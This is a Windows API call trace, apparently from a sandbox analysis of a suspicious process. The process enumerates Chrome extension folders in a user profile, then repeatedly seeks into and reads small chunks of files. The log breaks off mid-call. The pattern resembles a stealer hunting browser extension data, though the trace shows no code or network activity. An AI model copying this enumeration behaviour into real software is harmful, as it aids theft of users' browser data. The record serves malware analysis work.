FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0097.120] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0097.120] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0097.120] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.120] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0097.120] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.121] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.121] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.122] CloseHandle (hObject=0x268) returned 1 [0097.122] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.122] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.122] CloseHandle (hObject=0x268) returned 1 [0097.125] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.125] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.125] CloseHandle (hObject=0x274) returned 1 [0097.125] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.126] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.126] CloseHandle (hObject=0x274) returned 1 [0097.127] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.127] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.127] CloseHandle (hObject=0x274) returned 1 [0097.128] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.128] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.128] CloseHandle (hObject=0x274) returned 1 [0097.129] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.129] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.129] CloseHandle (hObject=0x274) returned 1 [0097.130] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.130] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.130] CloseHandle (hObject=0x274) returned 1 [0097.131] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.131] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.132] CloseHandle (hObject=0x274) returned 1 [0097.132] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.132] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.133] CloseHandle (hObject=0x274) returned 1 [0097.133] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.133] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.134] CloseHandle (hObject=0x274) returned 1 [0097.134] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.134] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.135] CloseHandle (hObject=0x274) returned 1 [0097.135] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.135] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.135] CloseHandle (hObject=0x274) returned 1 [0097.136] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.136] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.136] CloseHandle (hObject=0x274) returned 1 [0097.137] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.137] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.137] CloseHandle (hObject=0x274) returned 1 [0097.138] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.138] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.138] CloseHandle (hObject=0x274) returned 1 [0097.139] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.139] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.140] CloseHandle (hObject=0x274) returned 1 [0097.140] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.140] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.141] CloseHandle (hObject=0x274) returned 1 [0097.141] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.141] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.141] CloseHandle (hObject=0x274) returned 1 [0097.142] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.142] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.143] CloseHandle (hObject=0x274) returned 1 [0097.143] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.143] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.144] CloseHandle (hObject=0x274) returned 1 [0097.144] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.144] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.145] CloseHandle (hObject=0x274) returned 1 [0097.145] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.145] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.146] CloseHandle (hObject=0x274) returned 1 [0097.146] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.146] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.147] CloseHandle (hObject=0x274) returned 1 [0097.147] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.147] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.148] CloseHandle (hObject=0x274) returned 1 [0097.148] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.148] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.149] CloseHandle (hObject=0x274) returned 1 [0097.149] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.149] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.150] CloseHandle (hObject=0x274) returned 1 [0097.150] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.150] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.151] CloseHandle (hObject=0x274) returned 1 [0097.151] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.151] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.152] CloseHandle (hObject=0x274) returned 1 [0097.152] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.152] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.153] CloseHandle (hObject=0x274) returned 1 [0097.153] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.153] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.154] CloseHandle (hObject=0x274) returned 1 [0097.154] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.154] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.154] CloseHandle (hObject=0x274) returned 1 [0097.155] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.155] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.156] CloseHandle (hObject=0x274) returned 1 [0097.156] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.156] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.157] CloseHandle (hObject=0x274) returned 1 [0097.157] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.157] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.203] CloseHandle (hObject=0x274) returned 1 [0097.204] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.204] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.205] CloseHandle (hObject=0x274) returned 1 [0097.206] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.206] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.207] CloseHandle (hObject=0x274) returned 1 [0097.207] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.207] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.208] CloseHandle (hObject=0x274) returned 1 [0097.208] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.208] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.209] CloseHandle (hObject=0x274) returned 1 [0097.209] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.209] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.210] CloseHandle (hObject=0x274) returned 1 [0097.211] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.211] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.212] CloseHandle (hObject=0x274) returned 1 [0097.212] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.212] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.213] CloseHandle (hObject=0x274) returned 1 [0097.213] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.213] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.214] CloseHandle (hObject=0x274) returned 1 [0097.214] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.214] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.215] CloseHandle (hObject=0x274) returned 1 [0097.215] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.215] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.216] CloseHandle (hObject=0x274) returned 1 [0097.216] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.216] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.216] CloseHandle (hObject=0x274) returned 1 [0097.217] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.217] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0097.217] CloseHandle (hObject=0x28c) returned 1 [0097.220] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.220] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.220] CloseHandle (hObject=0x268) returned 1 [0097.221] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.221] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.222] CloseHandle (hObject=0x268) returned 1 [0097.224] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.224] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.224] CloseHandle (hObject=0x274) returned 1 [0097.225] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.225] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.225] CloseHandle (hObject=0x274) returned 1 [0097.225] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.226] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.226] CloseHandle (hObject=0x274) returned 1 [0097.226] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.227] ReadFile (in: 